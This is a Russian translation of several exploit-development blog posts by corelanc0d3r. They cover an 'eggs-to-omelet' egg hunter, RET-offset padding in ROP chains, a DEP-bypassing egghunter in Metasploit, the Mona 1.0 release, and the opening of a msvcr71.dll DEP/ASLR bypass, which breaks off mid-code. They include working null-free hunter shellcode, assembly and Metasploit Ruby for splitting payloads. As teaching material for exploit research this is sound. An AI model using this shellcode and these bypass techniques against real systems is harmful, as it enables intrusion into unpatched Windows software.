Раньше мне не приходилось использовать охотник за омлетом в настоящем эксплойте, если не считать описания идеи в части 8. Затем я столкнулся с ошибкой со следующими свойствами:

• Для исполняемого кода было доступно лишь около 300 байт. Этого достаточно для многих полезных нагрузок, но не для надёжного модуля Metasploit с поддержкой более крупных нагрузок вроде Meterpreter.
• В памяти можно было разместить несколько дополнительных блоков примерно по 200 байт. Работали десять блоков, обеспечивая не менее 2000 фрагментированных байтов. Универсальный эксплойт становится возможным, если разделить любую полезную нагрузку на части, а в первоначальную 300-байтовую область поместить охотник «из яиц в омлет».

Это идеальный сценарий для охотника за омлетом.

Ранее Skylined написал охотник за яйцами омлета. Я адаптировал его для Windows XP SP3, однако он работал лишь в некоторых случаях и ненадёжно обрабатывал нарушения доступа при обходе памяти, поэтому я написал собственный.

Мой охотник «из яиц в омлет»

Охотник исходит из следующих предположений:

• Поиск начинается в конце текущего кадра стека. Если яйца находятся в том же кадре, измените начальное значение EDX — указателя поиска по памяти.
• Он обходит всё адресное пространство и завершается неудачей, если какое-либо яйцо не найдено.
• Яйца должны располагаться в памяти в правильном порядке. У каждого есть уникальная метка с порядковым номером.

• Размер яйца не может превышать 127 байт: четырёхбайтовая метка и до 123 байт полезной нагрузки. Это ограничение позволяет избежать нулевых байтов в охотнике.
• Все яйца должны иметь одинаковый размер. При необходимости дополните последний фрагмент полезной нагрузки инструкциями NOP.

Ассемблерный код в `corelanc0d3r_omelet.asm`:

```
;-------------------------------------------------
; corelanc0d3r - eggs-to-omelet hunter
; v1.0, null-byte free
;-------------------------------------------------
BITS 32

nr_eggs equ 0x2
egg_size equ 0x7b             ; 123 payload bytes per egg

jmp short start

; Calculate the target address for the recombined shellcode.
; EDI becomes the destination and EDX the search pointer.
get_target_loc:
    push esp
    pop edi
    or di, 0xffff             ; End of the current stack frame.
    mov edx, edi
    xor eax, eax
    mov al, nr_eggs

calc_target_loc:
    xor esi, esi
    mov si, 0-(egg_size+20)   ; Reserve 20 extra bytes per egg.

get_target_loc_loop:
    dec edi
    inc esi
    cmp si, -1
    jnz get_target_loc_loop
    dec eax
    jnz calc_target_loc

    xor ebx, ebx
    mov bl, nr_eggs+1
    ret

start:
    call get_target_loc

    jmp short search_next_address

find_egg:
    ; SCASD advances by four bytes. Back up four and then advance one
    ; so no possible tag location is skipped.
    dec edx
    dec edx
    dec edx
    dec edx

search_next_address:
    inc edx
    push edx
    push byte +0x02
    pop eax
    int 0x2e
    cmp al, 0x5
    pop edx
    je search_next_address

    mov eax, 0x77303001
    add eax, ebx
    xchg edi, edx
```

```
    scasd
    xchg edi, edx
    jnz find_egg

copy_egg:
    mov esi, edx
    xor ecx, ecx
    mov cl, egg_size
    rep movsb
    dec ebx
    cmp bl, 1
    jnz find_egg

done:
    call get_target_loc
    jmp edi
```

Размер кода — 96 байт, и в нём нет нулевых байтов. В коде жёстко заданы два значения: количество яиц и число байтов полезной нагрузки в каждом яйце.

Выберите `egg_size` не более 123. Вычислите количество яиц целочисленным делением длины шелл-кода на `egg_size`, затем прибавьте единицу, если `nr_eggs * egg_size` всё ещё меньше размера шелл-кода.

Скомпилируйте охотник с помощью NASM:

```
"C:\Program Files\nasm\nasm.exe" corelanc0d3r_omelet.asm -o corelanc0d3r_omelet.bin
```

Используйте `pveReadbin.pl`, чтобы преобразовать двоичный файл в формат для эксплойта:

```
C:\omelet\pveReadbin.pl corelanc0d3r_omelet.bin
Reading corelanc0d3r_omelet.bin
Read 96 bytes

------------------------------------------
Displaying bytes as hex:
------------------------------------------
"\xeb\x24\x54\x5f\x66\x81\xcf\xff".
"\xff\x89\xfa\x31\xc0\xb0\x02\x31".
"\xf6\x66\xbe\x99\xff\x4f\x46\x66".
"\x81\xfe\xff\xff\x75\xf7\x48\x75".
"\xee\x31\xdb\xb3\x03\xc3\xe8\xd7".
"\xff\xff\xff\xeb\x04\x4a\x4a\x4a".
"\x4a\x42\x52\x6a\x02\x58\xcd\x2e".
"\x3c\x05\x5a\x74\xf4\xb8\x01\x30".
"\x30\x77\x01\xd8\x87\xfa\xaf\x87".
"\xfa\x75\xe2\x89\xd6\x31\xc9\xb1".
"\x7b\xf3\xa4\x4b\x80\xfb\x01\x75".
"\xd4\xe8\xa4\xff\xff\xff\xff\xe7";

Number of null bytes: 0
```

Как он работает?

Сначала охотник находит конец кадра стека: копирует ESP в EDI и устанавливает младшие 16 бит EDI в `0xffff`. EDI становится адресом назначения для собранных яиц. EDX отслеживает позицию поиска в памяти и первоначально получает тот же адрес.

EBX содержит количество яиц, которые нужно найти. Чтобы избежать нулевых байтов, фактически там хранится `nr_eggs + 1`, что позволяет сравнивать значение с единицей. Счётчик одновременно служит частью метки и числом оставшихся яиц.

Для обработки недоступных адресов поиск использует технику `NtAccessCheckAndAuditAlarm` со смещением `0x2` в `KiServiceTable`. Охотник проверяет EDX и, если адрес доступен для чтения,

ищет четырёхбайтовую метку.

Ожидаемая метка:

```
77 30 30 <sequence>
```

Порядковое значение равно `1 + число оставшихся яиц + 1`. Для трёх яиц метки будут следующими:

Яйцо	Метка
1	77 30 30 05
2	77 30 30 04
3	77 30 30 03

В качестве постоянной части можно использовать любые три байта, если ассемблерный охотник и генератор яиц используют одно и то же значение.

После обнаружения подходящей метки инструкция `rep movsb` копирует `egg_size` байтов по адресу EDI. ECX содержит количество копируемых байтов, а ESI указывает на источник. Во время копирования ESI и EDI увеличиваются, поэтому EDI остаётся на правильной позиции назначения для следующего фрагмента.

Охотник уменьшает EBX и сравнивает BL с единицей. Если остались другие яйца, поиск продолжается со следующим порядковым значением. После последнего копирования охотник заново вычисляет начало собранного шелл-кода и переходит туда.

Константа `0x77303001` в охотнике не может совпасть с меткой яйца. Поэтому найденная метка относится именно к яйцу, а не к самому охотнику.

Реализация в самостоятельном эксплойте

Определите количество контролируемых байтов в каждом блоке памяти и число создаваемых блоков. Подход работает, когда `number_of_blocks * size_of_each_block` — при ограничении каждого фрагмента полезной нагрузки 123 байтами — не меньше полного размера шелл-кода.

Поместите вычисленные количество и размер яиц в ассемблерный файл, скомпилируйте его и вставьте полученный охотник в эксплойт. Разделите полезную нагрузку на равные части и дополните последнюю инструкциями NOP.

Добавьте порядковую метку перед каждой частью. Для трёх фрагментов представление Perl выглядит так:

```
my $part1 = "\x05\x30\x30\x77" . $shellcode_part1;
my $part2 = "\x04\x30\x30\x77" . $shellcode_part2;
my $part3 = "\x03\x30\x30\x77" . $shellcode_part3;
```

Разместите фрагменты в памяти так, чтобы охотник встретил сначала часть 1, затем часть 2 и наконец часть 3.

В `pvefindaddr` 2.0.7 появилась команда `omelet`, автоматизирующая разделение и добавление меток. Укажите файл с необработанным двоичным шелл-кодом, при необходимости выберите размер яйца и трёхбайтовую постоянную метку. По умолчанию используются 123 байта полезной нагрузки и метка `773030`.

Для 224-байтового файла `C:\tmp\calc.bin` при доступных блоках по 100 байт остаётся 96 байт полезной нагрузки и четырёхбайтовая метка. Чтобы использовать `55DABA`, представляющее `0xBADA55`, выполните:

```
!pvefindaddr omelet -f C:\tmp\calc.bin -t 55DABA -s 96
```

Готовые для Perl фрагменты записываются в `omelet.txt`:

Модуль Metasploit: трудный путь

Следующий код Ruby динамически создаёт охотник и фрагменты полезной нагрузки. Переберите `chunks`, чтобы разместить яйца в памяти, а `omelet` используйте как первоначальную исполняемую нагрузку:

```
egg_size = 123
maxsize = payload.encoded.length
print_status("[+] Building corelanc0der's eggs-to-omelet hunter")

delta = (maxsize / egg_size) * egg_size
nr_eggs = maxsize / egg_size
nr_eggs += 1 if delta < maxsize
print_status("[+] Number of eggs: #{nr_eggs}")

omelet = "\xeb\x24" +
  "\x54\x5f" +
  "\x66\x81\xcf\xff\xff" +
  "\x89\xfa" +
  "\x31\xc0" +
  "\xb0" + nr_eggs.chr +
  "\x31\xf6" +
  "\x66\xbe" + (237 - egg_size).chr + "\xff" +
  "\x4f\x46" +
  "\x66\x81\xfe\xff\xff" +
  "\x75\xf7" +
  "\x48" +
  "\x75\xee" +
  "\x31\xdb" +
  "\xb3" + (nr_eggs + 1).chr +
  "\xc3" +
  "\xe8\xd7\xff\xff\xff" +
  "\xeb\x04" +
  "\x4a\x4a\x4a\x4a" +
  "\x42" +
  "\x52" +
  "\x6a\x02" +
  "\x58" +
  "\xcd\x2e" +
  "\x3c\x05" +
  "\x5a" +
  "\x74\xf4" +
  "\xb8\x01\x30\x30\x77" +
  "\x01\xd8" +
  "\x87\xfa" +
  "\xaf" +
  "\x87\xfa" +
  "\x75\xe2" +
  "\x89\xd6" +
  "\x31\xc9" +
  "\xb1" + egg_size.chr +
  "\xf3\xa4" +
  "\x4b" +
  "\x80\xfb\x01" +
  "\x75\xd4" +
  "\xe8\xa4\xff\xff\xff" +
  "\xff\xe7"
```

```
print_status("[+] Creating eggs")
chunks = Array.new(nr_eggs)
totalsize = egg_size * nr_eggs
padding = "X" * (totalsize - payload.encoded.length)
fullcode = payload.encoded + padding
print_status("    Total shellcode length after padding: #{fullcode.length}")

chunkcnt = nr_eggs + 2
startcode = 0
arraycnt = 0

while chunkcnt > 2 do
  chunkprep = chunkcnt.chr + "\x30\x30\x77"
  thischunk = fullcode[startcode, egg_size]
  startcode += egg_size
  thischunk = chunkprep + thischunk
  print_status("    Created egg of #{thischunk.length} bytes, tag #{chunkcnt}")
  chunkcnt -= 1
  chunks[arraycnt] = thischunk
  arraycnt += 1
end

chunks.each do |thischunk|
  # Write this egg into the exploit's payload buffer.
end
```

Если сам созданный охотник необходимо закодировать для удаления недопустимых символов, используйте:

```
badchars = "\x00"
encomelet = Msf::Util::EXE.encode_stub(
  framework,
  [ARCH_X86],
  omelet,
  ::Msf::Module::PlatformList.win32,
  badchars
)
omelet = encomelet
```

Примесь Metasploit: простой путь

Чтобы упростить процесс, я написал класс и примесь Metasploit с дополнительными возможностями настройки. Начиная с ревизии 10106, примесь omelet официально входит в Metasploit.

Она состоит из следующих файлов:

• `/framework3/lib/msf/core/exploit/omelet.rb`
• `/framework3/lib/rex/exploitation/omelet.rb`

Центральный загрузчик примесей подключает:

```
require 'msf/core/exploit/egghunter'
require 'msf/core/exploit/omelet'
require 'msf/core/exploit/seh'
```

В ревизии 10106 или новее вручную изменять загрузчик не нужно. Подключите класс в модуле эксплойта:

```
include Msf::Exploit::Omelet
```

Создайте охотник и яйца:

```
omelet = generate_omelet(payload.encoded, "\x00", omeletoptions)
```

Три параметра — это закодированная полезная нагрузка, обязательная строка недопустимых символов и хеш параметров. Эта версия не обрабатывает строку недопустимых символов

самостоятельно, поэтому при необходимости отдельно закодируйте возвращённый охотник.

Доступные параметры:

• `eggsize`: число байтов полезной нагрузки в яйце, по умолчанию и не более 123.
• `eggtag`: три постоянных символа метки, по умолчанию `00w`.
• `searchforward`: направление поиска, по умолчанию `true`; укажите `false` для поиска назад.
• `reset`: начинать поиск с исходного адреса после каждого яйца, что позволяет располагать яйца не по порядку; по умолчанию `false`.
• `startreg`: использовать адрес из указанного регистра как начальную позицию поиска. Если параметр не нужен, не передавайте его вместо пустого значения.
• `checksum`: добавлять и проверять однобайтовую контрольную сумму каждого яйца; по умолчанию `false`. Это увеличивает размер как яйца, так и охотника. Поддержка контрольной суммы разработана вместе с dijital1.
• `adjust`: знаковое смещение адреса назначения для собранного шелл-кода, по умолчанию 0. Отрицательное значение может предотвратить перезапись расположенного рядом охотника собранным шелл-кодом.

Пример:

```
omeletoptions = {
  :eggsize      => 123,
  :eggtag       => "00w",
  :searchforward => true,
  :reset        => false,
  :checksum     => false,
  :startreg     => "ecx",
  :adjust       => -500
}
```

Функция возвращает два элемента: `omelet[0]` — охотник, а `omelet[1]` — массив яиц. Поместите охотник в исполняемый буфер и переберите фрагменты:

```
omelet[1].each do |thisegg|
  print_status("Egg size: #{thisegg.length}")
end
```

Благодарю команду Corelan, jduck и HD Moore за ответы на мои вопросы о Ruby и Metasploit, а также всех остальных, кто помогал.

Заметки по хакингу: ROP, смещение RETN и его влияние на настройку стека

corelanc0d3r, 2011-01-30

Вчера sickn3ss, один из постоянных посетителей канала `#corelan` в IRC-сети freenode, задал очень интересный вопрос.

Вопрос

Тестируя ROP-гаджеты при создании эксплойта с обходом DEP для WM Downloader, он хотел узнать, можно ли заранее определить объём padding, необходимый для правильного выравнивания и настройки стека, если гаджет завершается инструкцией `RET` со смещением.

По-видимому, многие полагали, что смещение `RET` нужно компенсировать непосредственно после указателя на гаджет. Это неверно.

Давайте визуализируем проблему и попробуем вывести общее правило.

Предположим, ROP-цепочка содержит следующие три вымышленных гаджета:

- `77C1E842`: `PUSH EDI / POP EAX / POP EBP / RET`
- `77C1D7F5`: `ADD EAX,20 / POP EBP / RET`
- `71AA2526`: `XOR EAX,EAX / INC ESI / RET`
- ...

При размещении этих указателей на стеке разработчик эксплойта должен учитывать все данные, которые будут сняты со стека инструкциями `POP`, либо иным образом размещать дополнительные значения так, чтобы завершающий гаджет `RET` передал управление следующему указателю.

Для приведённых выше указателей стек будет выглядеть так:

Позиция в стеке	Значение	Объяснение
ESP	77C1E842	Первый гаджет. После PUSH EDI / POP EAX выполняется POP EBP.
ESP+4	DAC0FF33	Предыдущий гаджет снимет эти четыре байта со стека в EBP. Они нужны, чтобы RET попал на следующий указатель по адресу ESP+8.
ESP+8	77C1D7F5	Второй гаджет. Его POP EBP заберёт следующие четыре байта со стека.

ESP+C	DAC0FF33	Гаджет 77C1D7F5 снимет это значение в EBP, после чего RET попадёт на следующий указатель по адресу ESP+10.
ESP+10	71AA2526	Третий гаджет. Дополнительные байты не нужны, поскольку этот гаджет ничего не снимает со стека.
ESP+14		Здесь должен находиться четвёртый гаджет.

Пока ничего особенного.

Что изменится, если гаджеты завершаются `RET` со смещением? Как это повлияет на выравнивание стека и padding между двумя указателями на гаджеты?

Ответ

Предположим, теперь у нас есть такие гаджеты:

- `77C1E842`: `PUSH EDI / POP EAX / POP EBP / RETN + 4`
- `77C1D7F5`: `ADD EAX,20 / POP EBP / RETN + 8`
- `71AA2526`: `XOR EAX,EAX / INC ESI / RET`
- ...

Первый гаджет завершается `RETN+4`, второй — `RETN+8`. Посмотрим, как изменится структура стека.

Позиция в стеке	Значение	Объяснение
ESP	77C1E842	Первый гаджет. После PUSH EDI / POP EAX выполняются POP EBP и RETN + 4.
ESP+4	DAC0FF33	Предыдущий гаджет снимет эти четыре байта в EBP. Они нужны, чтобы RET попал на следующий указатель по адресу ESP+8.
ESP+8	77C1D7F5	Второй гаджет. POP EBP заберёт следующие четыре байта. Гаджет завершается RETN + 8.

ESP+C	41414141	Четыре байта, компенсирующие RET+4 первого гаджета. Компенсационные байты располагаются после следующей инструкции RET, то есть после следующего гаджета.
ESP+10	DAC0FF33	Гаджет 77C1D7F5 снимет это значение в EBP, после чего RET попадёт на следующий указатель по адресу ESP+10.
ESP+14	71AA2526	Третий гаджет. Дополнительные байты не нужны, поскольку он ничего не снимает со стека.
ESP+18	41414141	Четыре байта padding, компенсирующие первые четыре байта RET+8 второго гаджета.
ESP+1C	41414141	Ещё четыре байта padding, компенсирующие вторые четыре байта RET+8 второго гаджета.
ESP+20		Здесь должен находиться четвёртый гаджет.

Вывод: смещение `RET` необходимо учитывать на стеке **после следующего указателя на гаджет**, а не после указателя на текущий гаджет.

Спасибо sickn3ss за вопрос и совместное документирование этого поведения!

Заметки о взломе: ROP-яйца на завтрак

corelanc0d3r, 2011-05-12

Введение

Думаю, все согласятся, что сегодня обход DEP (и ASLR) уже не роскошь. По мере того как операционные системы вроде Windows 7 набирают популярность, разработчикам эксплойтов приходится иметь дело со всё большим числом механизмов защиты памяти, включая DEP и ASLR. С точки зрения защиты это хорошо. Но все мы знаем, что при удачном стечении обстоятельств существуют способы их обойти.

Один из самых популярных методов обхода DEP — ROP, также называемый «повторным использованием кода». Как объяснялось в одной из моих предыдущих статей, суть техники состоит в создании цепочки указателей. Каждый из них указывает на уже существующую последовательность исполняемых инструкций, а вместе они подготавливают аргументы функции, позволяющей отключить или обойти DEP.

После того как ROP-цепочка подготовит аргументы и вызовет функцию, вы сможете выполнить свой шелл-код.

Наиболее важные для этого функции в Windows 7:

• `VirtualProtect` — изменяет защиту заданной области.
• `VirtualAlloc` вместе с функцией копирования или перемещения шелл-кода в новую область. В зависимости от вида полезной нагрузки для этого подойдёт одна из функций: `strcpy()`, `strncpy()`, `memcpy()`, `memmove()` и другие.

За несколькими исключениями это почти все варианты. `NtSetInformationProcess()` и `SetProcessDEPPolicy()` в Windows 7 больше использовать нельзя.

В рамках этой заметки я предполагаю, что вы умеете строить ROP-цепочку, находить надёжный указатель на эти функции и запускать шелл-код. Если нет, ознакомьтесь с руководством или посетите одно из занятий Corelan Live на ближайшей конференции.

Сегодня я подробнее расскажу об использовании egghunter в эксплойте, обходящем DEP.

Что делать, если нужен egghunter?

Как объяснялось в упомянутом руководстве, выполнение egghunter не отличается от выполнения другого шелл-кода. Однако нужно решить дополнительную проблему.

На снимке ниже видно, что по умолчанию сразу после обнаружения яйца — вашей настоящей полезной нагрузки — в памяти egghunter просто переходит к нему (`jmp edi`).

При включённой DEP это, скорее всего, не сработает, если только вы случайно не пометили яйцо как исполняемое или не используете старую ОС, где вам посчастливилось получить доступ к `NtSetInformationProcess()` либо `SetProcessDEPPolicy()`.

Кроме того, необходимость использовать egghunter, вероятно, означает и ограничение размера полезной нагрузки. Поэтому решить проблему нужно как можно эффективнее, то есть

минимальным объёмом кода.

В руководстве я объяснял, как добавить в egghunter собственную процедуру перед переходом к полезной нагрузке. Она динамически находит указатель на `VirtualProtect()` и вызывает функцию, чтобы сделать найденное яйцо исполняемым. Этот код универсален и динамичен, но довольно велик. Он работает, однако недостаточно эффективен.

Поэтому я выбрал короткий путь и изменил реализацию egghunter в Metasploit, позволив помечать найденное яйцо как исполняемое. Идея такова:

• Поскольку вам уже пришлось каким-либо способом сделать исполняемым сам egghunter, вы смогли получить указатель на нужную функцию Windows: `VirtualProtect()`, `VirtualAlloc()`, `strncpy()`, `memcpy()` и так далее.
• Раз указатель уже есть, его можно просто использовать повторно и ещё раз вызвать функцию, чтобы сделать яйцо исполняемым.

Чтобы эта идея сработала, перед запуском egghunter достаточно поместить указатель на `VirtualProtect()` либо на одну из функций копирования или перемещения в регистр.

Как только охотник обнаружит яйцо, он возьмёт этот указатель — по умолчанию из ESI, — подготовит параметры в стеке, вызовет функцию и выполнит полезную нагрузку.

Исходный код egghunter не содержал нулевых байтов, поэтому добавленный код я также сделал свободным от нулевых байтов. Из-за этого он стал немного длиннее, но дополнительные 20 байт на всю процедуру — не такая большая цена.

Использование в Metasploit

Сначала обновите репозиторий Metasploit и убедитесь, что используете ревизию 12637 или новее.

Вот как это работает.

Общая схема

Для создания egghunter в Metasploit необходимо:

• Подключить в модуле примесь Egghunter.
• Создать хеш с параметрами яйца, которые будут переданы процедуре создания egghunter в Metasploit.
• Вызвать процедуру создания egghunter.
• Разместить охотник и яйцо в полезной нагрузке.

Чтобы подключить примесь, достаточно добавить в начало кода следующую строку:

```
include Msf::Exploit::Remote::Egghunter
```

Затем задайте параметры:

```
badchars=""
eggoptions =
{
   :checksum => false,
   :eggtag => "W00T"
}
```

Дополнительные параметры, позволяющие управлять техникой обхода DEP:

```
:depmethod => "function"
```

Вместо function можно указать одно из следующих значений:

• virtualprotect
• copy
• copy_size

virtualprotect, как нетрудно догадаться, вызовет VirtualProtect для найденного яйца и пометит его как исполняемое. По умолчанию в качестве размера будет передано удвоенное значение размера полезной нагрузки, чтобы самомодифицирующийся, декодируемый или увеличивающийся шелл-код продолжал нормально работать. Это поведение можно переопределить параметром depsize, описанным ниже.

copy подготовит аргументы функции, копирующей данные с одного адреса на другой до обнаружения нулевого байта. Конкретная функция не имеет значения, если она принимает два аргумента — назначение и источник — и останавливается при обнаружении нулевого байта.

copy_size подготовит аргументы функции, копирующей заданное количество байтов с одного адреса на другой. Снова неважно, какую функцию использовать, если она принимает три аргумента: назначение, источник и размер — число копируемых байтов. По умолчанию размер равен длине полезной нагрузки.

Во всех случаях процедура предполагает, что при запуске egghunter указатель на функцию находится в ESI, если это не переопределено параметром depreg. После подготовки шелл-кода к выполнению EDI будет указывать на его начало, поэтому EDI, как и раньше, можно использовать в полезной нагрузке в качестве bufferregister.

```
:depreg => reg
```

Здесь reg — допустимый регистр. Если параметр не указан, код предполагает, что указатель API находится в ESI. Если регистр указан, egghunter начинает работу с перемещения двойного слова из этого регистра в ESI.

```
:depsize => value
```

Здесь value — числовое значение размера, которое будет передано вызываемой функции. При использовании метода DEP copy этот параметр игнорируется. Как объяснялось выше, если параметр не указан, для метода virtualprotect используется (payload.length * 2), а для метода copy_size — payload.length.

```
:depdest => reg
```

Здесь reg — допустимый регистр. Этот регистр указывает на местоположение egghunter и может служить адресом назначения для операции копирования или перемещения после обнаружения яйца. Параметр работает только с методами copy и copy_size и избавляет egghunter от необходимости использовать процедуру GetPC для поиска собственного адреса, немного сокращая код.

VirtualProtect()

Для VirtualProtect() указатель на функцию должен находиться в одном из регистров, по умолчанию в ESI. Остальные параметры создаются во время выполнения.

```
badchars=""
eggoptions =
{
   :checksum => false,
   :eggtag => "W00T"
   :depmethod => "virtualprotect"
```

```
   :depreg => "esi"
}
```

При использовании функции `VirtualProtect()` созданный egghunter выглядит так:

Вместо непосредственного перехода на EDI он подготавливает в стеке аргументы для `VirtualProtect` и вызывает функцию. Поскольку указатель на шелл-код уже находится в EDI, его можно использовать для параметров `lpAddress` и `returnTo`.

Чтобы в коде не было нулевых байтов, я использовал последовательность инструкций `add`, каждая из которых удваивает значение регистра. Разумеется, это несколько увеличивает код. Если нулевые байты не создают проблем, можно изменить код и просто поместить нужное значение в стек.

Выделение памяти и Copy_to_self()

Эта техника основана на следующей идее:

• С помощью ROP-цепочки выделяется исполняемая память, куда копируется egghunter.
• Egghunter находит яйцо, копирует его поверх себя, тем самым перезаписывая собственный код, а затем возвращается к себе — память уже исполняемая.

Код поддерживает два вида операций копирования или перемещения: до обнаружения нулевого байта и с заданным количеством байтов.

Если ROP-цепочка выделила исполняемую память, перенесла туда egghunter и запустила его, эту память можно использовать повторно. В режимах `copy` и `copy_size` найденный шелл-код копируется в текущее расположение, перезаписывая сам охотник. После копирования или перемещения функция возвращается к скопированному либо перемещённому шелл-коду и выполняет его.

Предположим, указатель на `strcpy()` находится в EDI, а поскольку egghunter только что скопирован в новую исполняемую область памяти, указатель на неё находится в EBP. Параметры egghunter будут выглядеть так:

```
badchars=""
eggoptions =
{
   :checksum => false,
   :eggtag => "W00T"
   :depmethod => "copy"
   :depreg => "edi",
   :depdest => "ebp"
}
```

Созданный для `strcpy()` egghunter выглядит так:

Сначала указатель на `strcpy()` сохраняется в ESI, чтобы его можно было вызвать позднее. До адреса `100B001E` выполняется обычная процедура egghunter, находящая двойную метку в памяти. Затем указатель на яйцо в EDI помещается в стек.

Параметром `depdest` мы сообщили охотнику, что яйцо можно скопировать по адресу из этого регистра. В нашем случае это EBP. Код дважды помещает его в стек: один раз как аргумент `returnTo`, второй — как адрес назначения для `strcpy()`. Наконец, значение EBP также переносится в EDI, поэтому если полезной нагрузке требуется `bufferregister`, можно по-прежнему использовать EDI.

Операция копирования или перемещения возьмёт шелл-код и запишет его поверх кода охотника либо в любое другое указанное место, а затем перейдёт — вернётся — к нему.

Если параметр `depdest` не указан, созданный egghunter содержит процедуру GetPC, динамически определяющую собственный адрес, который и становится назначением операции копирования или перемещения. Код будет на семь байт длиннее и выглядит так:

Как объяснялось выше, при использовании техники `copy` сначала нужно найти способ выделить память RWX и скопировать туда охотник. Выделите достаточно пространства, чтобы в нём поместилось и яйцо.

Эта техника очень похожа на `copy`, но подготавливает аргументы функции копирования или перемещения, принимающей источник, назначение и количество копируемых байтов.

```
badchars=""
eggoptions =
{
   :checksum => false,
   :eggtag => "W00T"
   :depmethod => "copy_size"
   :depreg => "edi"
}
```

Если параметром `depsize` размер не задан, используется длина полезной нагрузки. Для помещения размера в регистр применяется процедура без нулевых байтов. Если параметр `depdest` не указан, процедура, разумеется, содержит заглушку GetPC.

В конечном счёте эта процедура вызовет `strncpy()` со следующими аргументами:

Функция копирования или перемещения запишет яйцо поверх охотника и затем выполнит его.

Примечание: обязательно выделите достаточно места и для самого яйца.

Вот и всё!

Пример

Пример использования охотника можно найти здесь.

Благодарности

Разумеется, благодарю команду Corelan, вдохновляющую и мотивирующую меня продолжать, Lincoln за начало работы над модулем msf (см. раздел «Пример») и _sinn3r за тестирование изменённого охотника.

Изображение яйца: digitalart / FreeDigitalPhotos.net

Выпущена Mona 1.0!

corelanc0d3r, 2011-06-16

НАКОНЕЦ-ТО!

После почти пяти месяцев проектирования, разработки и тестирования, а также после двух «пережитых» презентаций — на AthCon и Hack In Paris — я с огромным воодушевлением и гордостью объявляю от имени всей команды Corelan об общедоступном выпуске `mona.py`.

Вместе с этим анонсом мы официально объявляем, что с этого момента проект `pvefindaddr` прекращён.

Это не означает, что `pvefindaddr` уже совершенно бесполезен: в Mona пока перенесены не все его функции.

Это означает лишь то, что обновлений `pvefindaddr` больше не будет, а страница проекта и страница загрузки со временем исчезнут после переноса всей функциональности в Mona.

Что такое Mona?

Для тех, кто пропустил мои выступления на AthCon или Hack In Paris: Mona — долгожданная преемница `pvefindaddr`. Этот PyCommand для Immunity Debugger назван в честь моей дочери — уверен, сейчас она ещё слишком мала, чтобы это понимать или хотя бы интересоваться. По сравнению с `pvefindaddr` он содержит множество улучшений и новых возможностей.

• Полностью переработана и переписана вся функциональность поиска. Теперь поиск выполняется намного быстрее — в отдельных случаях до 20 раз.
• Улучшена интеграция различных функций и классов PyCommand. Например, функция `suggest` сразу попытается найти указатель, который должен привести к payload.
• Значительно расширены возможности точной настройки поиска. Теперь можно задавать критерии модулей: включать или исключать из поиска модули с ASLR, rebasing, системные модули и модули с SafeSEH. Можно задавать критерии указателей (`ascii`, `asciiprint`, `unicode`, `nonull`, `upper`, `lower`, `numeric` и другие), а также список bad characters, чтобы исключить указатели, содержащие хотя бы один из них. Это позволяет рассматривать указатели как данные на стеке и применять к ним те же правила, что и при кодировании payload, например с помощью Metasploit `msfencode`.
• Мы реализовали конфигурационный файл. В нём можно задать два параметра. `workingfolder` определяет папку для выходных файлов; если добавить в путь `%p`, во время выполнения он будет заменён именем процесса. Второй параметр, `excluded_modules`, содержит список модулей, исключаемых из всех поисковых операций: расширения оболочки, гостевые инструменты виртуальных машин и так далее.
• Генератор ROP-гаджетов полностью переписан. Он по-прежнему создаёт `rop.txt`, а также несколько дополнительных файлов: `rop_suggestions` с разбитыми по категориям гаджетами, которые, согласно нашему опыту, особенно часто нужны при создании ROP-эксплойта, и `rop_virtualprotect` с ROP-цепочкой, если генератор сумел найти указатель для загрузки значений и указатель на `PUSHAD`. Кроме того, инструмент позволяет искать stack pivot с заданными минимальным и максимальным смещениями и пытается находить статические, надёжные

указатели на указатели интересующих функций для обхода DEP (`VirtualProtect`, `VirtualAlloc` и других). Иными словами, Mona автоматизирует ROP. Уверен, многие специалисты по безопасности давно ждали такую возможность. Она пока не идеальна во всех ситуациях, но уже способна сэкономить огромное количество времени.

Это лишь несколько новых функций, а на самом деле их намного больше. В ближайшем будущем мы расскажем обо всех возможностях и продолжим обновлять документацию в соответствии с улучшениями.

У нас также есть хорошие идеи по расширению функциональности и дополнительным улучшениям для версии 1.1, так что следите за новостями. А пока можете посмотреть слайды презентации, которую я использовал на AthCon и Hack In Paris. Они дают краткое представление о нашей работе и её результатах.

Скачать слайды презентации.

Во время презентации я показал три видео:

• Демонстрация 1: pvefindaddr suggest
• Демонстрация 2: mona suggest
• Демонстрация 3: автоматизация ROP

Где скачать?

Страница проекта Mona находится здесь: github.com/corelan/mona.

Существуют две версии Mona: стабильная версия `release` и версия разработки `trunk`. Если вам нужны самые свежие изменения и вы готовы к тому, что что-нибудь может быть сломано, выбирайте вторую.

В любом случае функция `!mona update` позволяет загрузить последнюю версию той ветки, которая установлена в вашей системе.

Команде Corelan нужна ваша помощь!

В последние недели мы тестировали PyCommand, но это не означает, что в нём нет ошибок. Если вы обнаружили проблему или хотите предложить новую функцию либо улучшение, свяжитесь с нами: `peter [dot] ve @ corelan [dot] be`.

Благодарности

• Команде Corelan — отличная работа, ребята!
• Моим жене и дочери — за неизменную любовь и поддержку.
• Организаторам AthCon и Hack In Paris — за возможность выступить и представить Mona всему миру.
• Всем друзьям по всему миру.

Универсальный обход DEP/ASLR с помощью msvcr71.dll и mona.py

corelanc0d3r, 2011-07-03

Введение

В последние недели возник определённый шум вокруг универсальной процедуры обхода DEP/ASLR, использующей ROP-гаджеты из `msvcr71.dll`, и предположения, что её могли скопировать в эксплойт, отправленный в Metasploit в рамках программы вознаграждений Metasploit.

Для ясности: я не знаю, что именно произошло, и не видел доказательств, поэтому не стану делать заявлений или кого-либо судить.

Кроме того, эта публикация посвящена не инциденту, а самой процедуре, которая выглядит весьма изящно, и её альтернативным вариантам.

Версия White Phosphorus

Процедура, выпущенная в составе White Phosphorus Exploit Pack, использует только гаджеты и указатель на `VirtualProtect` из `msvcr71.dll`. Эта конкретная версия DLL не выполняет rebasing и не поддерживает ASLR, поэтому отлично подходит для универсального обхода DEP и ASLR — при условии, что в ней есть все гаджеты, необходимые для обобщённой ROP-процедуры.

Если целевое приложение загружает именно эту версию DLL или вы можете каким-либо способом заставить его сделать это, ROP-цепочка позволит универсально обойти DEP и ASLR.

Immunity Inc опубликовала этот метод обхода на своём сайте. Процедура выглядит так:

```
def wp_sayonaraASLRDEPBypass(size=1000):
    # White Phosphorus
    # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
    #
    # This technique uses msvcr71.dll which has shipped unchanged
    # in the Java Runtime Environment since v1.6.0.0 released
    # December 2006.
    #
    # mail: support@whitephosphorus org
